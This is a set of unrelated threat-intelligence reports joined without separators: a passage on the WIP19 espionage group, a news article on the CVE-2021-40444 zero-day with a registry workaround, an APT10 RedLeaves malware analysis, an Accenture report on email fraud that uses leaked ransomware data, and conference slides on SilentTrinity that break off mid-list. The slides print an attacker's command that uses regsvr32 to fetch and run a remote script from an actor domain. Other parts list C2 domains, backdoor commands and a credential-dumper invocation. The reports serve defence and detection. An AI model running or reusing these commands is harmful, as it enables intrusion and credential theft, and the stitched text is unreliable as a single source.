Loading NanoDump as an SSP is a built-in function embedded within NanoDump. This is done utilizing the MiniDumpWriteDump API. The dump will be created in the following path: `C:\\windows\\temp\\1.bin`. Much like the loader, the threat actor did not bother to remove the PDB path for the DLL dumper. Combining both components, a full execution of the dumper will look like this: `C:\attacker\loader.exe c:\attacker\ssp.dll`. ### Keylogger & Screen Recording (ScreenCap) #### Loading Mechanism WIP19 has been observed utilizing a less-common (although documented) DLL search order hijacking of `explorer.exe` to load a keylogging and screen recording component internally named `ScreenCapDll_x64`. The threat actor dropped the malicious, signed DLL in the path `c:\windows\linkinfo.dll`. Dropping the file in this specific path triggers the loading of the DLL into `explorer.exe` the next time it is executed. The threat actor may manually kill and restart the `explorer.exe` process to initiate the screen recording and keylogging functionality. The ScreenCap malware performs checks involving the victim’s machine name, indicating it is specially crafted for each deployment. This does not prevent the actor from re-signing each of the payloads with the DEEPSoft certificate, proving the actors have direct access to the stolen certificate. After verifying it is executed on the correct machine, the ScreenCap malware drops a RAR CLI binary in one of the following paths, according to the target’s operating system: - `C:\Documents and Settings\All Users\Application Data\dwmgr.exe` - `C:\Users\Public\AppData\MsTemp\dwmgr.exe` #### Keylogging The keylogging functionality mainly focuses on the user’s browser. The malware detects the user’s browser and logs all keystrokes to `.ax` files stored in its current working directory. By default, it will keylog Internet Explorer activity, but it also supports keylogging of other popular browsers including Chrome and Opera. #### Screen Recording A relatively unique TTP observed in this activity is the recording of the user’s screen. Much like keylogging, this helps the actor harvest credentials and access sensitive information. The malware will record the screen for 1,296,000 milliseconds at a time, 30 times, and store the output as `.avi` files in its current working directory. During our analysis of the ScreenCap malware, we identified a number of samples that contained hardcoded victim IDs. This indicates that some of the intrusions are well researched and highly targeted. ### ExtendedProcedure SQL (SQLMaggie) Whilst we did not observe the initial infection vector in this intrusion, the SQLMaggie malware dropped on victim networks targets Windows systems and has to be executed in an MSSQL server. This provided us a foundation from which to investigate further. We found that SQLMaggie masquerades as a legitimate DLL containing extended stored procedure functions for an MSSQL Server. The executed methodology uses the `sp_addextendedproc` function to register an external DLL in an MSSQL server. After registering the DLL into the MSSQL server, the threat actor is able to fully control the server machine and use this backdoor to conduct reconnaissance in the internal network. Our analysis showed that this backdoor was authored by WinEggDrop. From the timestamp of the sample, we can confirm the first version of this backdoor variant was developed in or before 2019. Available commands in each version vary according to the target environment. Unlike some of the other components which can be found on public, open-source repositories, neither the source code nor the executable for SQLMaggie appear to be publicly available. This suggests that the tool is either sold or used privately, or is in exclusive use by WinEggDrop. ### SQLMaggie Backdoor Commands and Capabilities The following commands appear in all versions of SQLMaggie: - **SysInfo**: Show system information and detect if it is in the VM or not - **FileAccess**: Modify file permissions - **ls**: List DIR - **Exec**: Create process - **RShell**: Reverse Shell - **Type**: Open file and print the strings inside - **Download**: Download files Additionally, the following commands appear variously in different versions of SQLMaggie coded for specific targets: - **StopSocks5**: Stop Socks5 tunnel - **StartHook**: Start WinSock socket hook - **StopHook**: Stop Winsock socket Hook - **ResetClientData**: Attacker input information - **ViewClientData**: Show client data, attacker input information - **TS**: Checking regkey about TermService and its port - **ListIP**: Get host name, IP - **CheckPath**: Get data path - **StartSocks5**: Create Socks5 tunnel - **SetClient**: Set client data, including hook winsock and allow IP, port - **InstallTS**: Install TermService - **DelFile**: Delete file - **SetFile**: Set file attributes - **GetUser**: Using ROOT\\CIMV2 to get host account - **GetModule**: Print out the execute module file path - **ScanStatus**: Scan the victim’s environment machines - **StopScan**: Terminate all scan threads - **GetAdmin**: Get domain admin account - **SqlCheck**: Check SQL server is running and list username & password - **SqlScan**: Create a thread to scan for SQL server - **Exploit Run**: Use exploit to execute process - **Exploit AddUser**: Use exploit to add user - **Exploit Clone**: Use exploit to clone user - **Exploit TS**: Use exploit to install TermService on a machine - **StartHook**: Hook WinSock socket and show client data, attacker input information - **Port**: Check if port is open - **WriteAll**: MSSQLServer Write permission - **AccessAll**: MSSQLServer Access permission ## Attribution Analysis We assess it is highly likely this activity is espionage-related and that WIP19 is a Chinese-speaking threat group. The Work-In-Progress (WIPxx) designation is used for unattributed clusters of activity. A WIP may represent activity that fits under the umbrella of an existing – but thus far unknown – actor or ultimately represent the activity of a new threat actor. The intrusions we have observed involved precision targeting and were low in volume. Specific user machines were hardcoded as identifiers in the malware deployed, and the malware was not widely proliferated. Further, the targeting of telecommunications and IT service providers in the Middle East and Asia suggests the motive behind this activity is espionage-related. Communications providers are frequent targets of espionage activity due to the kinds and amount of sensitive data they hold. The overlap with Operation Shadow Force through a possible common developer in WinEggDrop, and the fact their tooling has been observed in other Chinese espionage-related activity, supports the assessment that this activity is likely being carried out by a thus far unidentified Chinese-speaking threat group. The hardcoding of machine identifiers and the usage of malware to log keystrokes and screenshot specific user machines suggests that WIP19 is after very specific information. ## Conclusion WIP19 is an example of the greater breadth of Chinese espionage activity experienced in critical infrastructure industries. The existence of reliable quartermasters and common developers enables a landscape of hard-to-identify threat groups that are using similar tooling, making threat clusters difficult to distinguish from the defenders' point of view. We hope this report helps move the needle forward in the effort to continue identifying threat groups engaged in spying on industries critical to society. SentinelLabs continues to track this activity to provide further insight into their evolution and future activity. ## Indicators of Compromise **SQLMaggie SHA1** | **Real File Name** --- | --- 4AABB34B447758A2C676D8AD49338C9E0F74A330 | sqlmaggieAntivirus_32.dll 5796068CFD79FBA65394114BA0EDC8CC93EAE151 | sqlmaggieVS2008new_64.dll 13BA1CFD66197B69A0519686C23BDEF17955C52E | sqlmaggieVS2008new_32.dll CA25FCBA11B3B42D9E637132B5753C9B708BE6F0 | sqlmaggieVS2008new_64.dll 26cbd3588b10cabc7c63492c82808104829e9ac0 | sqlmaggieAntiVirus_64.dll 5e0291928e29db46386fd0bd85f269e967758897 | sqlmaggieVS2008new_64.dll 96099015981559237a52a7d50a07143870728fd0 | sqlmaggieAntiVirus_64.dll 7eb6e7d4e5bd5a34c602879cad0a26b35a3ca4fb | sqlmaggieVS2008new_32.dll fe2e7c663913e0744822d1469be0c3655d24178d | sqlmaggieAntivirus_32.dll b15bae6a8379a951582fc7767fa8490722af6762 | sqlmaggieAntiVirus_64.dll c81de9a27f7e8890d30bd9f7ec0f705029b74170 | sql_epX64_MD.dll 829df7b229220c56eedc5660e8f0e7f366fa271f | sqlmaggieAntivirus_32.dll d02fce5d87ea1fe9fabe7ac52cae2439e8215121 | sqlmaggieAntivirus_32.dll 1c6d0e8920af9139a8a9fe3d60b15cf01fb85461 | sqlmaggieAntiVirus_64.dll 2cad0328863cb09a6b27414d5158075d69bfb387 | sqlmaggieAntiVirus_64.dll 26c0722a1d16641d85b97594deea2a65399daef7 | sqlbackupAntiVirus_64.dll 17ff9fc9ee72baaf8d66ef9b3ab6411c47384968 | sqlmaggieAntiVirus_64.dll 5be50453f6e941c5c1dd20e0ba53e9abb6d00b68 | sqlmaggieVS2008new_32.dll 56d326dfe7dcb1ce7cae2cb4c13819510fc9945c | sqlmaggieAntiVirus_64.dll 253e702ff8201eec6fdf9630a39f5a8c28b132ed | xp_OAreateX64.dll b91ab391a4e26e4ff0717cd989ad5ce7f6af235c | xp_OAreateX64.dll 4d2eb6e03be068f364e8e3f3c9645e03e1052e66 | xp_OAreate.dll b91ab391a4e26e4ff0717cd989ad5ce7f6af235c | xp_OAreateX64.dll 4d2eb6e03be068f364e8e3f3c9645e03e1052e66 | xp_OAreate.dll 8941d889cb199a234d99c90ce78a96411b6dedb6 | sqlmaggieAntivirus_32.dll 5aa9a9299865b0cb81fcad5f42424d79c67c403b | sqlmaggieVS2008new_64.dll 5182e0a5f075317171ad0e01e52d32937ec2fa01 | sqlmaggieVS2008new_64.dll bfccf57e173b8233d35928956022bae85fc5d722 | sqlmaggieAntiVirus_64.dll 18d3ac848955295381f769b923a86871e01bfa1c | sqlmaggieVS2008new_64.dll 2bf1b6163af5685824c2d7ecda4f3f65f3ca4723 | sqlmaggieAntiVirus_64.dll 9577a2c15494edc2f7f4a59ecfb3ee90dd1df9d7 | sqlmaggieAntiVirus_64.dll 32e96ef4754c8f357e2366078387750e7f6add43 | sqlmaggieAntiVirus_64.dll 11678237dfccc88f257acca2b66b578713deaca8 | sqlmaggieVS2008new_64.dll 327bedce44160ebccc7d465c673d3464e23292b9 | sqlmaggieVS2008new_32.dll **ScreenCap SHA1** | **Real File Name** --- | --- c6cb7ec82ee55ccb56a4cc8b91c64e9b4f4e14da | ScreenCapDll_x64.dll 19f2a546a76458dda6eab6e2fae07d0942759b84 | ScreenCapDll_x64.dll 693e4ed784279bc47a013dc56f87cbd103e1db2e | x ad72aa442ff2c357b48ae8b4f8ba9b04b63c698b | ScreenCapDll.dll **Hacking Tool SHA1** | **Description** --- | --- da876cd6e3528f95aafb158713d3b21db5fc780b | Browser credential stealer 1121324a15e6714e4313dfa18c8b03a6da381ba1 | Credential dumper loader 9bedb5810536879fae95c70a918eb90ac628953e | Network scanning tool 539d87139de6d5136b6d45dbc33a1aae69926eee | Credential dumper afe25455804a7afb7639cb4f356cb089105be82d | Port relay tool 37cca724227a8e77671ecde3d295f5b98531705b | Credential dumper loader 2eeb46d538c486f8591a78a65dde250b0bf62f89 | Windows domain tool
# Microsoft Shares Temp Fix for Ongoing Office 365 Zero-Day Attacks Microsoft today shared mitigation for a remote code execution vulnerability in Windows that is being exploited in targeted attacks against Office 365 and Office 2019 on Windows 10. The flaw is in MSHTML, the browser rendering engine that is also used by Microsoft Office documents. ## Ongoing Attacks Against Office 365 Identified as CVE-2021-40444, the security issue affects Windows Server 2008 through 2019 and Windows 8.1 through 10 and has a severity level of 8.8 out of the maximum 10. Microsoft is aware of targeted attacks that try to exploit the vulnerability by sending specially-crafted Microsoft Office documents to potential victims. > “An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.” - Microsoft However, the attack is thwarted if Microsoft Office runs with the default configuration, where documents from the web are opened in Protected View mode or Application Guard for Office 365. Protected View is a read-only mode that has most of the editing functions disabled, while Application Guard isolates untrusted documents, denying them access to corporate resources, the intranet, or other files on the system. Systems with active Microsoft’s Defender Antivirus and Defender for Endpoint (build 1.349.22.0 and above) benefit from protection against attempts to exploit CVE-2021-40444. Microsoft's enterprise security platform will display alerts about this attack as "Suspicious Cpl File Execution." Researchers from multiple cybersecurity companies are credited for finding and reporting the vulnerability: Haifei Li of EXPMON, Dhanesh Kizhakkinan, Bryce Abdo, and Genwei Jiang - all three of Mandiant, and Rick Cole of Microsoft Security Intelligence. In a tweet today, EXPMON (exploit monitor) says that they found the vulnerability after detecting a “highly sophisticated zero-day attack” aimed at Microsoft Office users. EXPMON researchers reproduced the attack on the latest Office 2019 / Office 365 on Windows 10. In a reply to BleepingComputer, Haifei Li of EXPMON said that the attackers used a .DOCX file. Upon opening it, the document loaded the Internet Explorer engine to render a remote web page from the threat actor. Malware is then downloaded by using a specific ActiveX control in the web page. Executing the threat is done using "a trick called 'Cpl File Execution'," referenced in Microsoft's advisory. The researcher told us that the attack method is 100% reliable, which makes it very dangerous. He reported the vulnerability to Microsoft early Sunday morning. ## Workaround for CVE-2021-40444 Zero-Day Attacks As there is no security update available at this time, Microsoft has provided the following workaround - disable the installation of all ActiveX controls in Internet Explorer. A Windows registry update ensures that ActiveX is rendered inactive for all sites, while already available ActiveX controls will keep functioning. Users should save the file below with the .REG extension and execute it to apply it to the Policy hive. After a system reboot, the new configuration should be applied. To disable ActiveX controls, please follow these steps: 1. Open Notepad and paste the following text into a text file. Then save the file as `disable-activex.reg`. Make sure you have the displaying of file extensions enabled to properly create the Registry file. ``` Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] "1001"=dword:00000003 "1004"=dword:00000003 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] "1001"=dword:00000003 "1004"=dword:00000003 ``` 2. Find the newly created `disable-activex.reg` and double-click on it. When a UAC prompt is displayed, click on the Yes button to import the Registry entries. 3. Reboot your computer to apply the new configuration. Once you reboot your computer, ActiveX controls will be disabled in Internet Explorer. When Microsoft provides an official security update for this vulnerability, you can remove this temporary Registry fix by manually deleting the created Registry keys. Alternatively, you can utilize this reg file to automatically delete the entries. **Update [September 7, 2021, 16:46 EST]:** Added comment received after publication from Haifei Li of EXPMON, one of the researchers that reported the vulnerability to Microsoft.
# THREAT ANALYSIS ## HOGFISH REDLEAVES CAMPAIGN HOGFISH (APT10) targets Japan with RedLeaves implants in “new battle” iDefense analysts have identified recent campaigns attributed to APT10, also known as HOGFISH and Stone Panda. This report provides a technical overview of the bespoke RedLeaves implants leveraged by the actor in their “new battle” campaign. iDefense is providing information about this reported campaign to the general iDefense customer base so that customers are aware of the modus operandi of a highly active threat group that is targeting institutions for espionage purposes, especially in Japan. More specifically, this threat analysis is intended for security operations center (SOC) analysts and engineers. Intelligence analysts may also want to read this report. Additionally, management and executive leadership may want to use this information. SOC analysts and engineers can use this threat analysis detailed information pertaining to the workings of a malware family and indicators of compromise (IoCs) to contain or mitigate the discussed threat through monitoring or blocking. SOC analysts can use the information provided in the Analysis and Mitigation sections of this IA to conduct hunting activities on systems that may have already been compromised. Analysts and security engineers can use the IoCs by adding them to hunting lists on Endpoint Detection and Response (EDR) solutions as well as network- and host-based blacklists to detect and deny malware implantation and command-and-control (C2) communication. Intelligence analysts may want to use the information provided in this IA to better inform their own analyses. The provided information can also help inform ongoing intelligence analyses and forensic investigations, particularly for compromise discovery, damage assessment, and attribution. Management and executive leadership may use this information to assess the risks associated with the threat described herein to make operational and policy decisions accordingly. Knowledge of the tactics, techniques, and procedures (TTPs) used by the operators behind this campaign helps to better inform detection and response to attacks by this threat group. ## HOGFISH (APT10) TARGETS JAPAN WITH REDLEAVES IMPLANTS IN NEW BATTLE ### REDLEAVES ANALYSIS The sample that iDefense analyzed for this report is a Word document with Japanese filename, 2018年度(平成 30年度)税制改正について.doc, which translates to English as “About the 2018 fiscal year (Heisei 30) tax system revision.doc”. This document has the following properties: - Filename: 2018年度(平成 30年度)税制改正について.doc - MD5: 797b450509e9cad63d30cd596ac8b608 - File Size: 664.2 KB (680,095 bytes) - Author: Windows ユーザー (Windows user) - Last Modified by: Windows ユーザー (Windows user) - Creation Time Stamp: 2018-01-09 03:56:00 (Jan. 9, 2018, 3:56 a.m.) - Modified Time Stamp: 2018-01-09 04:25:00 (Jan. 9, 2018, 4:25 a.m.) After the document is opened, the victim is presented with a message from Office 365 asking the victim to “Enable content”. On the next page, however, iDefense identified what appears to be a base64-encoded string. The macro will then perform the following sequence of actions: - Drop the embedded base64-encoded content into a new file, ZsHUvtNctKYbgPj.txt, in the %temp% folder. - Decode this new file by leveraging “certutil”, a legitimate Windows program; the base64 encoded data decodes to a Microsoft Corp. Cabinet file, which is saved as YjhdJ.cab (MD5 hash: 44c7319d8d7b84c52c4a6c94056d246b). - Use “expand”, again a legitimate Windows program, to “expand” or decompress file contents (AYRUNSC.exe and PTL.AYM) to the %temp% folder, and consequently delete the earlier created files. As mentioned earlier, this malware creates two new binaries: AYRUNSC.exe and PTL.AYM. AYRUNSC.exe is a legitimate and digitally signed binary created by ESTsoft Corp. and pertains to ALYac, Korean anti-virus software. PTL.AYM is in fact another binary file; specifically, it is a DLL file with the following properties: - Filename: PTL.AYM - Internal Filename: ptl.dll - MD5: 4f1ffebb45b30dd3496caaf1fa9c77e3 - File Size: 440.0 KB (450,560 bytes) - Compiled Time Stamp: 2018-01-08 02:15:02 (Jan. 8, 2018, 2:15 a.m.) The compiled time stamp suggests the actor developed the implant 2 days before launching the described campaign. This DLL is a clone of a legitimate DLL, also by ALYac, and corresponds to the anti-virus software’s Utility Module. However, rather than the original DLL, it only has two imports as the authors have implemented a simple, single-byte XOR obfuscation (using key 0x40) to obfuscate other imports and strings. For example, XOR decoding the binary reveals the following two interesting strings: - %ProgramFiles%\Internet Explorer\iexplore.exe - \GppiTEMms.lnk As opposed to the original DLL by ALYac, which typically has 15 exports, the analyzed sample has the following 20 exports: - ChangeScriptName - FreeList - GetFileName - GetFilePath - GetFilePath2 - GetFilePathNew - GetFilePathNew2 - GetFolderPath - GetFolderPath2 - GetFolderPathNew - GetFolderPathNew2 - GetPathVariable - GetPathVariableList - GetSIDList - Initialize - Initialize_IjDEJK - Lock - NbhgHUxiGf - UnInitialize - rGBKikBeJObSwSjY Three exported functions clearly stood out: Initialize_IjDEJK, NbhgHUxiGf, and rGBKikBeJObSwSjY. These are, however, all dummy exports to throw off analysts or perhaps even taunt researchers, and more specifically perhaps to taunt the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC). For example, when executing the DLL file by calling the NbhgHUxiGf export function, the victim would be prompted with a Windows message box with "jpcert-1”. All other functions are either empty or also filled with calls to MessageBoxA(), which is unusual for DLL loading implants. However, one export function, GetFolderPathNew2, is responsible for loading the RedLeaves DLL implant by performing process hollowing in iexplore.exe, Microsoft Corp.’s default browser. The initial process, AYRUNSC.exe, is unable to work correctly and will therefore exit. For persistence, RedLeaves will add a shortcut “.lnk” file in the user’s Startup folder, which points to AYRUNSC.exe. Once running, the RedLeaves implant will then attempt to communicate with the following C2 domains, using HTTP, but connects to the C2 server on port 443: - firefoxcomt.arkouowi[.]com - update.arkouowi[.]com The configuration settings for the RedLeaves implant can be extracted from memory and contains the following information: - Campaign ID: 2018-1-8-NewBattle - Mutex: jH10689DS - Key: babybear The string “2018-1-8-NewBattle” refers to the campaign ID set up by the actor and may allude to the actor starting a “new battle” (campaigns). The malware will create a unique version of the aforementioned mutex on the victim machine in order to avoid running the implant twice. As mentioned before, RedLeaves will attempt to communicate over HTTP, using POST requests with a hardcoded User-Agent: ``` POST /M6Xz5MOS/index.php HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) ``` Network traffic is encrypted with RC4 using the key “babybear”. The RedLeaves implant has at least the following abilities: - Take screenshots - Gather browser usernames and passwords - Gather extended system information - Send, receive, and execute commands from the C2 server Further analysis also reveals that the RedLeaves implant described corresponds to the actor’s “Lavender” version of the malware family. For example, the strings “LAVENDERX” and “LAVENDERengin” (which are dynamically built on the stack) are used to determine the implant’s version. ### OTHER REDLEAVES IMPLANTS iDefense analysts also identified the RedLeaves samples with the following attributes: 1. ed65bbe9498d3fb1e4d4ac0058590d88 - Internal Filename: libcef.dll - Starts in Function: cef_string_utf8_to_utf16 - Compiled Time Stamp: 2018-01-18 04:38:12 (Jan. 18, 2108, 4:38 a.m.) - Startup Item/Shortcut: BnorTEPkh.lnk - C2 Server: algorithm.ddnsgeek[.]com - Campaign ID: 2018-1-18-sgowen - Mutex: rV6880B9 - Key: babybear 2. e2627a887898b641db720531258fd133 - Internal Filename: libcef.dll - Starts in Function: cef_initialize - Compiled Time Stamp: 2018-01-29 09:36:41 (Jan. 29, 2018, 9:36 a.m.) - Startup Item/Shortcut: EaahLDRej.lnk - C2 Server: friendlysupport.giize[.]com - Campaign ID: 2018-1-29-No.1 - Mutex: 2N6541mb - Key: moscowww The above sample, ed65bbe9498d3fb1e4d4ac0058590d88, also displays similar taunting messages. ### C2 INFRASTRUCTURE C2 infrastructure enumeration reveals overlap between the three samples that iDefense analyzed. ### MITIGATION To effectively defend against the threats described in this report, iDefense recommends blocking access to the following C2 domains and IP addresses: - firefoxcomt.arkouowi[.]com - update.arkouowi[.]com - friendlysupport.giize[.]com - algorithm.ddnsgeek[.]com - 149.36.63[.]65 - 83.136.106[.]108 ### Hashes (SHA-256): - d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1 - 5504e04083d6146a67cb0d671d8ad5885315062c9ee08a62e40e264c2d5eab91 - f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b - db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d ### Related hashes (SHA-256): - f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac - e28294f62178451c7b11988d2c790f7f44c81b0bf06ab252e60f6b9ca57cacec - 36db2c5f8bb947cad25a4abeaff1ff0e827bd7fcf9c77dbfb36247e3fc9f530a - 4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262 - 7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee - 388d6b38f21c79e0e2ad7ead1108025b8bb3486d8d29f2468b5cb0e54bff11d2 - 37333ecdd16b1ecbcd070b202492c1870dafd799f6299a420cdcc8a9e149cc93 For threat hunting, it is also useful to examine the content of the following folders and look out for anomalous data: - %temp%\AYRUNSC.exe - %temp%\PTL.AYM - %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\GppiTEMms.lnk - %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\EaahLDRej.lnk - %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\BnorTEPkh.lnk - A mutex named jH10689DS, 2N6541mb, or rV6880B9.
# How Cybercriminals Are Weaponizing Leaked Ransomware Data for Follow-Up Attacks Business email compromise (BEC) is becoming a more sophisticated cyber threat because of the availability of sensitive corporate data on the dark web. This is problematic, as BEC and its derivatives, such as vendor email compromise (VEC) and invoice fraud, are the largest categories of malicious activity in terms of monetary losses. In 2021, victims lost an estimated $2.4 billion to BEC scams, totaling more than a third of all cybercrime losses ($6.9 billion) and causing more losses than ransomware attacks, according to FBI estimates. The widespread use of ransomware with data disclosures (sometimes known as double extortion) has made sensitive corporate data highly available on the criminal underground, with such data available for free or a fee to any threat actor. The data is a rich source of information for criminals who can easily weaponize it for secondary BEC attacks. This is especially relevant, as markets like Genesis and underground services available in multiple high-end forums allow malicious users to purchase credentials for as little as $10 that provide access to genuine corporate email accounts. This helps attackers launch a BEC attack from an internal, genuine email address as opposed to a spoofed address. Such use of genuine email addresses makes it increasingly difficult for businesses and consumers to distinguish malicious activity from genuine business operations. ## Data Disclosures The Accenture Cyber Threat Intelligence (ACTI) team analyzed data from ransomware leak sites and compared its own research with that of external entities. ACTI examined the top 20 most active dedicated leak sites, or dark web name-and-shame sites, measured by the number of featured victims, between July 2021 and July 2022. Within this period, ACTI observed an estimated 4,026 victims (corporate, non-governmental organizations, and governmental entities) on various ransomware groups’ dedicated leak sites. An estimated 91% of the 4,026 victims on dedicated leak sites incurred subsequent data disclosures of various degrees, with the remaining victims not having experienced an observed data leak. The notion that nearly all ransomware collectives, regardless of size, engage in double-extortion techniques indicates that malicious actors disclose very large amounts of data, making that data available to anyone. ACTI has found that dedicated leak sites most commonly provide financial data, followed by employee and client personally identifiable information, and communication documentation. These findings echo the observations of other researchers. ACTI also found that whenever an exfiltrated batch of data includes at least one of the above categories, the group that exfiltrated it consistently highlights the data type on its dedicated leak site. This boasting showcases the perceived high value of such data and the propensity for the disclosure of such data. ## Data Indexing Improves Malicious Usability The emergence of vast quantities of leaked data enhances a BEC actor's ability to target an organization by strengthening the BEC attack chain while also undermining traditional defenses. ACTI assesses that the utility of dedicated leak site data has historically been limited by the difficulty of interacting with large quantities of poorly stored data. This has been cumbersome, time-consuming, and costly for actors, thereby creating a natural barrier for widespread abuse of the data, until now. ACTI found that several groups are making their dedicated leak site data more accessible by moving away from Tor domains and toward publicly accessible sites. Moreover, sites like ALPHV and Industrial Spy offer searchable indexed data, including sensitive data such as employee personally identifiable information and financial data. Because it facilitates and speeds access, this searchability is enormously beneficial to malicious actors seeking to weaponize data for secondary attacks. Industrial Spy emerged as a data-selling marketplace in April 2022. It discloses some data freely and sells individual files for as little as one dollar. The operators actively organize and name folders with labels that reflect their content to make finding specific files easy. Moreover, the Industrial Spy marketplace now operates a working search function. ACTI tests found that threat actors can search for specific files such as employee data, invoices, scans, contracts, legal documents, email messages, and more. This search function also enables actors to hunt for data from specific industries and countries. Similarly, the ALPHV ransomware group has created an indexed and searchable database of its leaks, allowing anyone to search the ALPHV database for terms including employee names, contract data, invoices, leadership, and more. This facilitates locating data necessary to enrich a social engineering ploy. ACTI found "about 10,000" results when searching for "invoice" across indexed disclosures, as well as 6,000 results for "CFO," 10,000 for "accounting," and 10,000 for "email," showcasing the large amount of information available. ## Augmenting the BEC Attack Chain and Defeating Defenses Although all types of cybercriminals can benefit from obtaining sensitive corporate data, it is especially helpful for those conducting attacks based on social engineering. ACTI assesses with high confidence that the availability of sensitive corporate data makes it increasingly difficult for employees of victim organizations to spot fake communications and avoid such attacks because actors can base their attacks on genuine documents from the victim organization. ACTI found that the most disclosed data types overlap with the data types most useful for conducting BEC and VEC attacks: financial, employee, and communication data, and operational documents. ACTI assesses that the primary factor driving an increased threat of BEC and VEC attacks stemming from double-extortion leaks is the availability of data like that described above. This data is most useful during the reconnaissance and social engineering phases, particularly as the latter pertains to sending false invoices. During the reconnaissance phase, malicious actors may study and weaponize the vast troves of sensitive internal company data, which provide rich sources of social engineering information. This includes insurance data, salary information, lease agreements, bank reconciliations, and more. The social engineering phase is the most important and traditionally the most difficult part of a BEC attack and the phase that benefits most from dedicated leak site data. BEC attacks are inherently based on social engineering, with few technical roadblocks. This makes good social engineering the single most important determinant of a successful BEC attack. High-quality, well-crafted, and accurately scoped social engineering ploys give threat actors the ability to have higher success. Such data is a rich source of information about a victim company’s day-to-day operations. A threat actor can increase the likelihood that a social engineering ploy will succeed by determining a target’s internal language, such as company-specific acronyms and phrases, allowing threat actors to avoid the use of non-standard company language, a tell-tale sign of fraud. Dedicated leak site data further reduces the likelihood of a target discovering a social engineering ploy by allowing actors to better adhere to internal organizational pathways. For example, it facilitates following typical, anticipated communication channels and command chains. Finally, malicious actors can use this data to improve the timing of an attack. Actors can initiate a social engineering ploy when the targeted individual and organization are most vulnerable, such as during acquisitions or vendor contract renewals, while traveling, or when other information is available only through insider knowledge. For VEC attacks, these effects are even more powerful, given the large amounts of sensitive dumped data that is normally shared only between a primary target and its vendors. Specifically, contractual data, invoices, financial agreements, payment schedules, orders, and purchase histories are all abundantly available on dedicated leak sites, enabling actors to mimic a vendor more closely than they could otherwise. The final step of a BEC or VEC attack often involves sending a fraudulent invoice to a victim or a victim’s supplier. Dedicated leak site data often includes genuine invoices that actors can easily alter for use in an attack. After carrying out a well-crafted social engineering campaign, an actor could change such an invoice’s accounting details to an actor-controlled account and send the modified invoice to the target. ACTI found similar invoices in nearly all dumps across various dedicated leak sites. In addition, an ACTI search for invoices in July 2022 rendered more than 10,000 hits on two leak sites alone, showcasing the vast volumes of data available. Beyond enabling a threat actor to conduct a more sophisticated attack, this type of data circumvents traditional social engineering attack defenses. ## Conclusion The widespread disclosure of data as part of ransomware attacks has flooded the criminal underground with sensitive data from corporate networks that practically anyone can view and obtain. The availability of the data has synergetic effects. First, operators can leverage the data to augment and enrich entire BEC and VEC attack chains. Second, the data can circumvent defenses that the industry has been promoting to protect against attacks based on social engineering. The availability of internal data also increases the risk of secondary attacks driven by but unrelated to initial ransomware events. Such risk extends beyond a primary ransomware attack victim to other organizations that do business with the victim or who operate within the victim’s supply chain. ## Mitigations To prevent BEC attacks, ACTI suggests that businesses and consumers: - Remain skeptical of changes in payment plans, even from genuine invoices and trusted vendors or suppliers. - Validate invoice amounts through a communication medium that differs from the one through which an invoice was received. - Remain extra vigilant against new invoices or communications regarding payments after a data exfiltration event, whether that event occurred at one’s own company or at a company within the same supply chain. To prevent and mitigate social engineering attacks, ACTI suggests that businesses and consumers: - Check the source of each email and ensure email senders are genuine. - Look up phone numbers to determine their legitimacy before returning unforeseen calls and avoid providing sensitive data to unknown callers. - Locate official website URLs rather than clicking on links within messages. - Use multi-factor authentication to prevent or delay the success of an attack in which actors access passwords through social engineering. - Continuously monitor critical systems. - Identify and protect critical assets. - Regularly check SSL certificates. - Maintain a closed and controlled digital footprint; oversharing of personal details online through social media offers criminals more information to work with. - Train employees to limit the amount of work information they share on social media platforms and how to identify social engineering ploys. To prevent and mitigate data extortion attacks, ACTI suggests that businesses and consumers: - Limit or avoid the exposure of internal corporate technical procedures and infrastructure in presentations from third-party technology partners.
# IronPython on the Dark Side: The Silent Trio from Croatia **Alexey Vishnyakov, Senior Specialist / Positive Technologies** - A senior specialist at Expert Security Center, Positive Technologies - Threats research - APT groups tracking - Software development - Reporting ## Agenda - Payload delivery - SilentTrinity framework - Attack infrastructure - Takeaways - IOCs ## Payload Delivery - Last printed: 2018-07-25 00:12:30 (UTC) - Last saved: 2019-04-01 16:28:07 (UTC) - First VT submission: 2019-04-02 09:58:13 (UTC) - Country: HR (Croatia) - Codepage: 1252 ANSI Latin 1; Western European (Windows) - Author: Windows User - Last modified by: Teken - Comments: ```cmd cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs ``` - Squiblydoo WebDAV server technique - After opening: - After allowing macro: - VBA macro: - VBS drop - Autorun only, no launch - Downloaded update.sct: - Deserialized object – PE .NET - Sharpick - application to load and run PowerShell code via the .NET assemblies - PowerPick GitHub project - dnSpy decompilation: - Base64 decoded: - PowerShell script semi-beautified: - RC4 decryption - Last printed: 2019-04-02 08:22:56 